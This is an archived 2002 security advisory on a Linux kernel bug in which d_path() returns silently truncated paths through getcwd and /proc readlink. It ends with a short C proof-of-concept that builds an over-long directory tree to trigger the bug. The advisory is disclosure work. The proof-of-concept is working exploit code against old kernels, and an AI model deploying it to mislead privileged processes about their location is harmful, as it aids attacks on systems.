d_path() truncating excessive long path name vulnerability

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Name:		Linux kernel
Version:	up to 2.2.20 and 2.4.18
Homepage:	http://www.kernel.org/
Author:		Wojciech Purczynski <cliph@isec.pl>
Date:		March 26, 2002


Issue:
======

In case of excessively long path names d_path kernel internal function
returns truncated trailing components of a path name instead of an error
value. As this function is called by getcwd(2) system call and
do_proc_readlink() function, false information may be returned to
user-space processes.


Description:
============

Linux is a clone of the operating system Unix, written from scratch by
Linus Torvalds with assistance from a loosely-knit team of hackers across
the Net. It aims towards POSIX and Single UNIX Specification compliance.


Details:
========

d_path kernel function resolves a string of absolute path name of a dentry
passed as an argument to the function.

The path is a concatenation of subsequent path components starting from
trailing path component. The concatenated path name is stored into a
fixed-length buffer of PAGE_SIZE bytes.

If a dentry points to a path that exceeds PAGE_SIZE - 1 characters length,
leading path components are not written to the buffer and function returns
truncated path without an error value.

Because getcwd(2) system call uses d_path() function, it may return
invalid path to the user-space process. However, if a returned path is
longer than user-space buffer a correct error value is returned.

readlink(2) system call called on proc filesystem uses do_proc_readlink()
function which is also vulnerable to d_path() bug.


Impact:
=======

Privileged process may be tricked to think it is inside of arbitrary
directory. Other scenarios are possible if readlink() is used on files on
proc filesystem (like "/proc/self/exe").


PS: Please CC to security@isec.pl as I may not be subscribed to the list.

- --
Wojciech Purczynski
iSEC Security Research
http://isec.pl/

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE8oHpKC+8U3Z5wpu4RAn6qAJ4seIO2xfXvrHmTMFQoMkGus23fJwCgjka7
ew84vFEFTO8lI7PQgEdyG0c=
=sEfh
-----END PGP SIGNATURE-----

/*
 * 2.2.x/2.4.x Linux kernel d_path proof-of-concept exploit
 *
 * Bug found by cliph
 */

#include <unistd.h>
#include <stdio.h>
#include <limits.h>
#include <errno.h>
#include <paths.h>

/*
 *  Note: on Linux 2.2.x PATH_MAX = PAGE_SIZE - 1 that gives us 1 byte for 
 *        trailing '\0' 
 */

#define PATH_COMPONENT "123456789abcdef"

void err(char * msg)
{
	if (errno) {
		perror(msg);
		exit(1);
	}
}

int main()
{
	char buf[PATH_MAX + 1]; /* think of trailing '\0' */
	int len;
	
	errno = 0;

	chdir(_PATH_TMP);
	err("chdir");
	
	/* show CWD before exploiting the bug */
	getcwd(buf, sizeof(buf));
	err("getcwd #1");
	fprintf(stderr, "CWD=%.40s\n", buf);
	
	/* creating long directory tree - it must exceed PATH_MAX characters */
	for (len = 0; len <= PATH_MAX; len += strlen(PATH_COMPONENT) + 1) {
		errno = 0;
		mkdir(PATH_COMPONENT, 0700);
		if (errno != EEXIST)
			err("mkdir");
		errno = 0;
		chdir(PATH_COMPONENT);
		err("mkdir");
	}

	/* show CWD before exploiting the bug */
	getcwd(buf, sizeof(buf));
	err("getcwd #1");
	fprintf(stderr, "CWD=%.40s... [stripped]\n", buf);
	
	return 0;
}


[Index of Archives]     [Linux Security]     [Netfilter]     [PHP]     [Yosemite News]     [Linux Kernel]

  Powered by Linux